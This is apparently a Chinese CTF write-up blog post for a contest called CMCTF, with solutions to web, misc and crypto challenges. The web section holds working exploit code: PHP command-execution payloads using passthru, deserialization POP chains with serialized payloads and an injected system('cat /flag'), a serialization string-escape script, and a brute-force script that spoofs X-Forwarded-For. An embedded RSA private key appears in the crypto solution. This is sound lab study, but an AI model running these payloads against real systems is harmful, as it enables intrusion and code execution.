CMCTF

Web

小猿口算签到重生版

编写自动化脚本获取flag

import requests
import re
import concurrent.futures
import time

TARGET_URL = "http://example.com"  # 替换为实际目标URL


def solve_challenge():
    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/json"
    }

    expr = ""
    while not expr:
        try:
            response = session.get(f"{TARGET_URL}/generate", headers=headers, timeout=2)
            expr = response.json().get("expression", "")
        except:
            time.sleep(0.1)

    with concurrent.futures.ThreadPoolExecutor() as executor:
        future_to_expr = {}
        start_time = time.time()

        while True:
            future = executor.submit(calculate, expr)
            future_to_expr[future] = expr

            next_future = executor.submit(get_next_expression, session, headers)
            expr = next_future.result()

            for future in concurrent.futures.as_completed(future_to_expr):
                expr = future_to_expr.pop(future)
                answer = future.result()

                if submit_answer(session, headers, answer):
                    return  

            elapsed = time.time() - start_time
            if elapsed > 1:
                print(f"处理速度: {len(future_to_expr) / elapsed:.1f} 表达式/秒")
                start_time = time.time()


def get_next_expression(session, headers):
while True:
        try:
            response = session.get(f"{TARGET_URL}/generate", headers=headers, timeout=1)
            return response.json().get("expression", "")
        except:
            time.sleep(0.05)


def calculate(expr):
try:
        safe_expr = re.sub(r"[^0-9+\-*/().]", "", expr)
        result = eval(safe_expr)
        if isinstance(result, float) and result.is_integer():
            result = int(result)
        return str(result)
    except Exception as e:
        return "0"


def submit_answer(session, headers, answer):
try:
        payload = {"user_input": answer}
        response = session.post(
            f"{TARGET_URL}/verify",
            json=payload,
            headers=headers,
            timeout=1
        )
        result = response.json()
        if result.get("flag"):
            print(f"\n成功获取flag: {result['flag']}")
            return True
    except Exception as e:
        pass 
    return False


if __name__ == "__main__":
    solve_challenge()

函数重生版

打开题目,rce,ban了很多东西

替换命令?i=passthru(‘ls /’);

继续查找flag文件?i=passthru(‘nl /tmp/f???.sh’);

pop之我又双叒叕重生了

打开题目

分析:

  • 反序列化时,若对象包含__wakeup(),则自动调用(如A1)。
  • A1::__wakeup()调用$this->a1->get_flag()
  • 设置$a1A2对象,触发A2::get_flag()
  • A2::get_flag()尝试拼接$this->a2(字符串操作),若$a2是对象,则触发其__toString()(如A3)。
  • A3::__toString()调用$this->a3->fun()
  • 设置$a3A4对象,最终触发A4::fun()

构造pop链:

  • $obj = new A1()
  • $obj->a1 = new A2()(触发A1::__wakeup()时调用get_flag()
  • $obj->a1->a2 = new A3()(在A2::get_flag()中触发__toString()
  • $obj->a1->a2->a3 = new A4()(在A3::__toString()中触发fun()
  • 序列化代码:
<?php
class A1 { public $a1; }
class A2 { public $a2; }
class A3 { public $a3; }
class A4 { public $a4; }

// 构建对象链
$o = new A4();      // 最终触发fun()的对象
$p = new A3();
$p->a3 = $o;        // A3触发__toString()时调用A4的fun()
$q = new A2();
$q->a2 = $p;        // A2触发get_flag()时调用A3的__toString()
$r = new A1();
$r->a1 = $q;        // A1触发__wakeup()时调用A2的get_flag()

// 生成序列化字符串
echo serialize($r);
?>

运行后得到序列化字符串:

O:2:”A1″:1:{s:2:”a1″;O:2:”A2″:1:{s:2:”a2″;O:2:”A3″:1:{s:2:”a3″;O:2:”A4″:1:{s:2:”a4″;N;}}}}

后接入admin

完整传参:?wlaq=O:2:”A1″:1:{s:2:”a1″;O:2:”A2″:1:{s:2:”a2″;O:2:”A3″:1:{s:2:”a3″;O:2:”A4″:1:{s:2:”a4″;N;}}}}&2025=admin

这里屏蔽了flag具体内容,查看源码得到完整flag

busy_search

考察信息收集 崩坏,明日方舟,鸣潮处皆有flag注释片段,拼接得到flag

lottery签到重生版

编写破解代码

import requests
import time
import math
import re
from bs4 import BeautifulSoup

# ======== 配置区 ========
BASE_URL = "http://27.25.151.40:33713"
GET_PRIZES_URL = f"{BASE_URL}/get-prizes"
SPIN_URL = f"{BASE_URL}/spin"
GRAND_PRIZE_NAMES = ["Grand Prize", "特等奖", "Flag", "大奖", "一等奖"]  # 多种可能的目标名称
MAX_ATTEMPTS = 1000


# =========================

class WheelCracker:
    def __init__(self):
        self.session = requests.Session()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Content-Type": "application/json",
            "X-Forwarded-For": "127.0.0.1"  # 绕过可能的IP限制
        })
        self.prize_count = 0
        self.per_angle = 0.0
        self.prizes = []
        self.fallback_prizes = [
            {"title": "Grand Prize", "image": "flag.jpg"},
            {"title": "二等奖", "image": "gift2.png"},
            {"title": "三等奖", "image": "gift3.png"}
        ]
        self.error_codes = {
            -1: "PRIZE_NOT_FOUND",
            -2: "HTTP_ERROR",
            -3: "JSON_PARSE_FAIL",
            -4: "UNKNOWN_ERROR"
        }

    def fetch_prizes(self):
        """获取奖品列表和角度参数"""try:
            print(f"🔍 正在获取奖品列表: {GET_PRIZES_URL}")
            r = self.session.get(GET_PRIZES_URL, timeout=10)
            r.raise_for_status()  # 触发HTTP错误异常

            # 验证响应内容
            if not r.text.strip():
                print("⚠️ 空响应,使用备用奖品列表")
                return self.use_fallback_prizes()

            # 尝试解析JSON
            try:
                prizes = r.json()
            except ValueError:
                print("⚠️ JSON解析失败,尝试HTML解析")
                return self.parse_html_prizes(r.text)

            # 验证数据结构
            if not isinstance(prizes, list):
                print("⚠️ 无效数据结构,尝试提取列表")
                return self.extract_prizes_from_dict(prizes)

            # 空列表处理
            if len(prizes) == 0:
                print("⚠️ 奖品列表为空,启用备用方案")
                return self.use_fallback_prizes()

            # 数据清洗
            self.prizes = [
                p for p in prizes
                if isinstance(p.get("title"), (str, int, float)) and "image" in p
            ]

            self.prize_count = len(self.prizes)
            self.per_angle = 360 / self.prize_count if self.prize_count else 0

            print(f"✅ 获取到 {self.prize_count} 个奖品")

            # 模糊匹配奖品名
            for name in GRAND_PRIZE_NAMES:
                grand_index = next((
                    i for i, p in enumerate(self.prizes)
                    if name.lower() in str(p.get("title")).lower()
                ), -1)

                if grand_index >= 0:
                    print(f"🎯 找到目标奖品: {self.prizes[grand_index]['title']} (索引: {grand_index})")
                    return grand_index

            print("⚠️ 未匹配到目标奖品名称,将使用第一个奖品作为目标")
            return 0

        except requests.exceptions.RequestException as e:
            print(f"🚨 网络错误: {str(e)}")
            return -2
        except Exception as e:
            print(f"❗ 未知错误: {str(e)}")
            return -4

    def parse_html_prizes(self, html):
        """从HTML中解析奖品列表"""print("🔍 尝试从HTML解析奖品")
        soup = BeautifulSoup(html, 'html.parser')

        # 查找可能的奖品元素
        prize_elements = soup.find_all(class_=re.compile('prize|item|gift', re.I))

        if not prize_elements:
            prize_elements = soup.find_all(['li', 'div'], class_=True)

        for element in prize_elements:
            title = element.get_text(strip=True)
            if title:
                self.prizes.append({"title": title, "image": ""})

        if self.prizes:
            self.prize_count = len(self.prizes)
            self.per_angle = 360 / self.prize_count
            print(f"✅ 从HTML解析到 {self.prize_count} 个奖品")
            return 0  # 返回第一个奖品索引

        print("⚠️ HTML解析失败,使用备用奖品")
        return self.use_fallback_prizes()

    def extract_prizes_from_dict(self, data):
        """尝试从字典结构中提取奖品列表"""print("🔍 尝试从字典中提取奖品")
        if 'prizes' in data:
            self.prizes = data['prizes']
        elif 'items' in data:
            self.prizes = data['items']
        elif 'data' in data and isinstance(data['data'], list):
            self.prizes = data['data']

        if self.prizes:
            self.prize_count = len(self.prizes)
            self.per_angle = 360 / self.prize_count
            print(f"✅ 提取到 {self.prize_count} 个奖品")
            return 0  # 返回第一个奖品索引

        print("⚠️ 字典提取失败,使用备用奖品")
        return self.use_fallback_prizes()

    def use_fallback_prizes(self):
        """当API失效时使用内置奖品"""print("🔄 使用备用奖品列表")
        self.prizes = self.fallback_prizes
        self.prize_count = len(self.prizes)
        self.per_angle = 360 / self.prize_count
        return 0  # 返回Grand Prize索引

    def direct_angle_attack(self, grand_index):
        """直接角度攻击"""# 验证参数有效性
        if grand_index < 0 or grand_index >= self.prize_count:
            print(f"⛔ 无效索引: {grand_index}")
            return None

        if self.per_angle <= 0:
            print("🔧 角度参数异常,使用默认值")
            self.per_angle = 36  # 默认角度

        # 安全计算目标角度
        try:
            sector_center = grand_index * self.per_angle + self.per_angle / 2
            print(f"📐 计算目标角度: {sector_center:.2f}°")
        except Exception as e:
            print(f"⚠️ 角度计算错误: {str(e)}")
            sector_center = 30  # 默认角度

        # 尝试多种弱类型值
        for offset in [0, 0.1, "0", True, "true", "False", None]:
            print(f"🔧 尝试偏移量: {offset} ({type(offset)})")

            # 计算伪造角度
            forged_angle = 5 * 360 - sector_center
            if offset is not None:
                forged_angle += float(offset) if isinstance(offset, (int, float)) else 0

            payload = {"angle": forged_angle}

            try:
                print(f"🚀 发送旋转请求: angle={forged_angle:.2f}")
                r = self.session.post(SPIN_URL, json=payload, timeout=10)

                # 检查响应
                if r.status_code != 200:
                    print(f"⚠️ 非200响应: {r.status_code}")
                    continue

                # 尝试多种flag格式
                flag = self.extract_flag(r.text)
                if flag:
                    return flag

            except Exception as e:
                print(f"⚠️ 请求失败: {str(e)}")

        return None

    def brute_force_attack(self):
        """数值暴力破解"""print(f"💥 开始暴力破解 ({MAX_ATTEMPTS} 次尝试)...")

        # 测试特殊值
        special_values = [0, 360, 999, -1, "0", "360", "flag", "grand"]
        for value in special_values:
            print(f"🔍 测试特殊值: {value}")
            try:
                r = self.session.post(SPIN_URL, json={"angle": value}, timeout=5)
                flag = self.extract_flag(r.text)
                if flag:
                    return flag
            except:
                pass

        # 系统角度范围
        for i in range(MAX_ATTEMPTS):
            angle = i % 360 + (i // 360) * 0.01

            try:
                if i % 50 == 0:
                    print(f"⏳ 尝试 #{i}: angle={angle:.2f}")

                r = self.session.post(SPIN_URL, json={"angle": angle}, timeout=3)

                flag = self.extract_flag(r.text)
                if flag:
                    return flag

                # 添加随机延迟避免封禁
                if i % 100 == 0:
                    time.sleep(0.1)

            except requests.exceptions.Timeout:
                print("⌛ 请求超时,继续...")
            except Exception as e:
                print(f"⚠️ 请求失败: {str(e)}")

        return None

    def extract_flag(self, text):
        """提取flag(多种格式支持)"""# 常见flag格式
        patterns = [
            r"flag\{[^}]+\}",  # flag{...}
            r"FLAG-[A-Z0-9]{16}",  # FLAG-XXXXXXXXXXXX
            r"ctf\{[^}]+\}",  # ctf{...}
            r"[A-Z0-9]{31}=",  # base32格式
            r"picoCTF\{[^}]+\}",  # picoCTF格式
        ]

        for pattern in patterns:
            match = re.search(pattern, text)
            if match:
                flag = match.group(0)
                print(f"🎉 发现flag: {flag}")
                return flag

        # 检查关键词
        if any(keyword in text for keyword in ["flag", "ctf", "pico", "win", "won"]):
            print(f"⚠️ 发现疑似flag内容: {text[:100]}...")
            return text[:150]  # 返回前150个字符

        return None

    def run(self):
        """执行破解流程"""start_time = time.time()
        print("=" * 50)
        print(f"🚀 开始破解目标: {BASE_URL}")
        print("=" * 50)

        grand_index = self.fetch_prizes()

        # 处理错误代码
        if grand_index in self.error_codes:
            print(f"⚠️ 错误: {self.error_codes[grand_index]}")
            if grand_index == -1:
                print("🔍 启用暴力破解模式")
                if flag := self.brute_force_attack():
                    return flag
                return "❌ 破解失败:无法定位奖品"
            elif grand_index in (-2, -3, -4):
                print("🔧 尝试使用备用奖品")
                grand_index = 0  # 使用第一个奖品

        print(f"🎯 目标奖品索引: {grand_index}")

        # 精确角度攻击
        if flag := self.direct_angle_attack(grand_index):
            return flag

        print("⚠️ 精确攻击失败,启用暴力破解")

        # 暴力破解
        if flag := self.brute_force_attack():
            return flag

        return "❌ 破解失败:所有尝试均未成功"


if __name__ == "__main__":
    cracker = WheelCracker()

    if flag := cracker.run():
        print("\n" + "=" * 50)
        print(f"✅ 破解成功! Flag: {flag}")
        print("=" * 50)
    else:
        print("\n" + "=" * 50)
        print("❌ 破解失败")
        print("=" * 50)

u_know?

打开题目,提示有两个路由

先访问第一个/shop.php得到一串源码,反序列化

分析代码:GET 请求中获取buy参数,并使用unserialize函数将其反序列化为 PHP 数组->初始化两个礼品变量$gift1和$gift2,随后将其值替换为$anotherthing和$otherthing->检查反序列化后的数组中onething和twothing元素是否分别等于$gift1和$gift2,若相等则输出$flag1和感谢信息

这里存在php的松散比较,(==)存在类型混淆漏洞。如果$gift1和$gift2是字符串,可以让数组元素为整数0,在PHP中,字符串与0比较时,非数字字符串会被转换为0:

Exp:

<?php
$payload = [
    'onething' => 0,
    'twothing' => 0
];
$serialized = serialize($payload);
echo ($serialized) . "\n";
?>

序列化:a:2:{s:8:”onething”;i:0;s:8:”twothing”;i:0;},传参得到base64编码后的一半flag

继续访问第二个路由/kfc.php

继续访问/kfc.rar解压得到源码文件

<?php

class order
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class zhengcan
{
    public $lbjjrj;

    function __call($name, $arguments)
    {
        echo $this->lbjjrj->douzhi;
    }
}

class tiandian
{
    

    function __get($Attribute)
    {
        echo '';
        
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    echo "使用压缩包点单kfc.rar";
}

魔术方法触发链:

  • order类的__destruct()方法会调用$this->start->helloworld()
  • zhengcan类的__call()方法会在调用不存在的方法时触发,输出$this->lbjjrj->douzhi
  • tiandian类的__get()方法会在访问不存在的属性时触发

Exp

<?php
// 步骤1: 定义所有需要的类(复制原始漏洞代码中的类定义)
class order
{
    public $start;  // 这个属性将指向zhengcan类的实例

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        // 这是触发链的起点
        $this->start->helloworld();
    }
}

class zhengcan
{
    public $lbjjrj;  // 这个属性将指向tiandian类的实例

    function __call($name, $arguments)
    {
        // 当调用不存在的方法时触发
        // 这里的$name将是"helloworld"
        echo $this->lbjjrj->douzhi;
    }
}

class tiandian
{
    // 这个类用于触发最终的命令执行
    function __get($Attribute)
    {
        // 原始代码中这里只是echo ''
        // 但在实际攻击中,可以替换为任意代码
        system('cat /flag');  // 例如:读取flag文件
    }
}

// 步骤2: 创建对象实例并建立引用关系
$tian = new tiandian();        // 创建tiandian对象

$zheng = new zhengcan();       // 创建zhengcan对象
$zheng->lbjjrj = $tian;        // 设置zhengcan的lbjjrj属性指向tian对象

$order = new order($zheng);    // 创建order对象,传入zhengcan对象

// 步骤3: 序列化最终的对象链
$payload = serialize($order);

// 步骤4: 输出序列化结果
echo "生成的序列化字符串:\n";
echo $payload;
?>

序列化字符串:O:5:”order”:1:{s:5:”start”;O:8:”zhengcan”:1:{s:6:”lbjjrj”;O:8:”tiandian”:0:{}}}

当反序列化这个字符串时,会发生以下调用过程:

  1. 反序列化order对象
  2. 反序列化完成后,PHP 会销毁临时对象,触发order的__destruct()方法
  3. __destruct()方法调用$this->start->helloworld()
  4. 由于zhengcan类没有helloworld()方法,触发__call()方法
  5. __call()方法尝试访问$this->lbjjrj->douzhi
  6. 由于tiandian类没有douzhi属性,触发__get()方法
  7. 在原始代码中,__get()方法只是输出空字符串
  8. 现在,我们可以修改__get()方法执行任意系统命令

传入得到另一半base64编码的flag

合在一起解码包上flag头

can_u_escape

打开题目

典型的字符串逃逸,定义 filter($name) 函数:将字符串中的 “flag” 和 “php” 替换为 “hake”(替换后长度增加,因为 “hake” 比 “php” 多1个字符)

构造的注入字符串";s:4:"pass";s:8:"escaping";}用于覆盖pass属性,编写自动化脚本使用大量”php”字符串产生28字节的长度溢出,最后使构造的注入字符串覆盖了原始pass字段

Exp

import requests

url = "http://localhost:8080/vuln.php"  # 替换为实际URL

# 计算逃逸字符串长度
escape_str = '";s:4:"pass";s:8:"escaping";}'  # 构造的注入字符串
escape_len = len(escape_str)  # 实际长度应为28字节

# 每次替换增加1字节("php"->"hake"),需要增加的总长度 = 逃逸字符串长度
repeat_count = escape_len

# 构造payload
payload = "php" * repeat_count + escape_str

# 设置GET参数
params = {'a': payload}

# 发送请求
response = requests.get(url, params=params)

# 提取flag
if 'flag{' in response.text:
    start = response.text.index('flag{')
    end = response.text.index('}', start) + 1
    flag = response.text[start:end]
    print(f"成功获取flag: {flag}")
elif 'escaping' in response.text:
    print("触发条件成功但未找到flag,请检查响应内容")
    print("响应内容:", response.text)
else:
    print("利用失败,请检查参数和URL")
    print("响应内容:", response.text[:1000])
    print(f"使用的payload: {payload}")
    print(f"Payload长度: {len(payload)}")

运行

Misc

段涵涵学姐最爱的音乐

附件是个音频文件,放入Audacity一把梭

流量分析1~8

流量包放Wireshark中分析,按要求过滤各种条件,不会过滤问AI

Crypto

Base141

随波逐流一把梭

RSA你太baby了

脚本一把梭

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
import base64

# 原始十六进制数据
hex_data = """
6b 4d 31 77 67 6f 43 47 4f 77 52 66 45 32 6f 46 30 6d 6a 30 77 32 6a 71 36 59 6d 6a 38 4e 6b 69 39 36 36 68 59 66 43 71 70 2b 4f 42 63 54 33 6f 7a 49 66 74 4c 74 61 44 52 79 65 45 72 53 2f 68 46 79 33 6c 38 53 6a 35 49 54 75 47 43 35 6d 55 52 50 58 41 30 4b 42 77 45 73 36 37 6c 37 69 46 37 74 39 7a 6e 54 51 4b 31 41 57 6c 74 46 5a 47 4d 36 74 62 77 6b 33 56 54 54 59 43 72 52 54 36 41 65 6a 74 79 41 6f 59 7a 70 62 76 53 79 46 4e 59 37 2b 73 62 50 74 58 77 79 41 2b 30 6a 63 43 79 61 57 32 49 41 56 63 56 77 6e 44 65 4d 38 54 6c 68 34 35 7a 6f 41 50 56 62 77 63 4f 69 57 78 55 62 79 43 4c 49 48 6b 30 72 55 58 53 76 47 39 34 33 67 50 6d 76 53 71 73 39 4b 66 6d 52 4a 5a 4b 6e 52 6c 73 62 42 47 58 44 77 5a 6f 34 38 6b 67 58 4d 52 36 5a 33 4a 54 6b 75 42 37 47 33 44 44 53 78 78 78 45 69 77 38 38 64 2f 54 78 65 6c 59 61 78 39 72 73 63 75 74 56 6a 67 35 71 48 58 6e 43 46 6c 70 47 4e 2b 7a 51 34 46 63 50 77 44 6f 52 48 58 50 79 61 52 43 5a 61 52 37 63 70 50 65 63 72 47 66 54 55 2f 2b 41 59 53 7a 4c 37 4b 76 75 6b 71 31 41 3d 3d
"""

# 移除所有非十六进制字符
clean_hex = ''.join(c for c in hex_data if c in '0123456789abcdefABCDEF')

# 将十六进制字符串转换为字节
hex_bytes = bytes.fromhex(clean_hex)

# 直接尝试将十六进制字节作为Base64字符串处理
try:
    # 尝试直接解码十六进制字节(可能是Base64字符串)
    ciphertext = base64.b64decode(hex_bytes)
    print("Successfully decoded as Base64")
except:
    # 如果失败,直接使用十六进制字节作为密文
    ciphertext = hex_bytes
    print("Using raw hex bytes as ciphertext")

# 正确格式的私钥
private_key_str = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDoJqsE20fcEWu+
WfizvGn6GN8Ae/aJxh2tjpZR7KsXYmuqdDTSmVsWXo3mnI5Z6oCGAynuc3gxHPPb
pZGjxxf0QYvjPTs7FRC3u162ph8KF7EPSMq7KvJjbBgI8qrGc4CUy2UpFWjha9EW
fDGyKBkqnjzeVvfkPdMhZajcZCp3atsvVg6yPKpH3Tum/Lo4Cf831OKbRnQKnr6H
0HSs2ECP2ZPLBtMIEUHLJ2DbM4Gul9lZ5Ecu/MZSBForWufskbdJw+5KLH0wWKpW
E3y5sWHb4N3t6azZzLcu1xweRorsUQs+5SdU8nlsF0o9aVHcsII6sJxWUj5eofv7
2/c5dykVAgMBAAECggEABUj8E7w6QpRS855wvwbHEt6GFSi9UB2mh1D7sxnEO2AO
O28x1KmRHU1BxcJCq2FfU622wqr2TYfvNUzrp+LcdL8ZRC8crheorcYiPd5CTqSD
b2mk0+YCZqkLUwjTQnlWsAyBXRITtS4TMIPbTccD66h2kklAk32k1NnPolTVcqp9
ANMgWlCwwCCnngw9ppE0S+kC7lQO/Qf/ZKMuqETEdoCMbC2AfgcyFc/AXddZ+H8J
629pWeDFQO3CPlSrGy/FM0IYA8Dmm/9c3Pf31Qy3yby+2G/Obryyl7BWTWiRIi+m
TF2n1/QCJp7yXTu3DRUffRpvBxfx2aK2chv/5PKUcQKBgQD4eYciwO3reDMM7dPT
MsECpVVJ8Nwf5EGj4H/Hu2upZ2pOygcrw9XTxw54iRQxvrXokXzX/6UOnvXq47VQ
Oq7fqBu3x1CclvJLYn3jV7Z4g7dPyo5fKTkG4PM45tIoJEJZr92va7VFVviU0U+X
83xHMvA547QmrZLJIrKe66BXKwKBgQDvLpRhvlckP0uDXTdd9bIwirlyWDq/B6cn
lbcPLpsim5Bl0q8892rEUgYAwVsOE2X8tlTEwSqRqO5RwKCKrfX+O4P2XaPhIaP+
H13ehvKIJqe9SrVoBST2PknPA3zfOHsM1mpDeWSmP3vhUPobO4iNAe5Yk7zQupJF
7KU58XJgvwKBgHy+Vm/GOCwNLmQBSmUvh+LSKl1yxLBmIeYqITyfBVAJET/5AVyh
dspZlxRAjZjjy+O0lt7CA5WxjHieVTqwG3dBqJi9QeU7iuz5x4XJVVxvlCpE4PE5
et3PNYyNpVhty7nHJx6Yjmr/XNEpvDHnFa+RDTWi8aCxZ43/E3nhhZ/9AoGAZEpL
vZBqSbCgoTx88tELHn+Msv175I348Qg98gfA1QoVyhxFjnLQOfGKwtZQr95CbWym
rrmwd9M12uHCb2PyOeAKvUsWZFgOw4ezfJNpLt3GiADDgBJoJTiJClyUB6VPM1rU
w+Yq5erIrvmdZb3YzAd7QXjxOzSAEQHhZiJvq1ECgYAeRnIejF8KXIVpnBpkVcDP
nQGbb8LcrlC3ONHQrbl6c1FCK4Ht38t+vbu32+rdSVtc+Sxcaaqxs0md6/4O6UYd
WDZuLvtpugTi8Dw/4HjPojDK1rxysCJcrxLIQlpwqsrha6sf68EraTK714Qh9nU5
DPgfC51MVmo4fKt2mhHBKg==
-----END PRIVATE KEY-----"""

# 导入私钥
private_key = RSA.import_key(private_key_str)

# 尝试使用PKCS1_OAEP解密
try:
    cipher = PKCS1_OAEP.new(private_key)
    plaintext = cipher.decrypt(ciphertext)
    print("Decrypted with OAEP:", plaintext.decode())
except Exception as e:
    print(f"OAEP decryption failed: {e}")
    # 尝试使用PKCS1_v1_5解密
    try:
        cipher = PKCS1_v1_5.new(private_key)
        plaintext = cipher.decrypt(ciphertext, None)
        if plaintext:
            print("Decrypted with PKCS1_v1_5:", plaintext.decode())
        else:
            print("PKCS1_v1_5 decryption failed (invalid padding)")
    except Exception as e:
        print(f"PKCS1_v1_5 decryption failed: {e}")

# 检查密钥和密文长度
key_size = private_key.size_in_bytes()
ciphertext_size = len(ciphertext)
print(f"Key size: {key_size} bytes, Ciphertext size: {ciphertext_size} bytes")
if ciphertext_size != key_size:
    print("Warning: Ciphertext size does not match key size!")
    # 尝试处理大小不匹配的情况
    if ciphertext_size > key_size:
        # 如果密文太长,尝试截取最后key_size字节
        ciphertext = ciphertext[-key_size:]
        print(f"Using last {key_size} bytes of ciphertext")
        try:
            cipher = PKCS1_OAEP.new(private_key)
            plaintext = cipher.decrypt(ciphertext)
            print("Decrypted with OAEP after truncation:", plaintext.decode())
        except:
            print("Decryption failed after truncation")
    elif ciphertext_size < key_size:
        # 如果密文太短,尝试填充
        padded_ciphertext = b'\x00' * (key_size - ciphertext_size) + ciphertext
        print(f"Padded ciphertext to {key_size} bytes")
        try:
            cipher = PKCS1_OAEP.new(private_key)
            plaintext = cipher.decrypt(padded_ciphertext)
            print("Decrypted with OAEP after padding:", plaintext.decode())
        except:
            print("Decryption failed after padding")
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇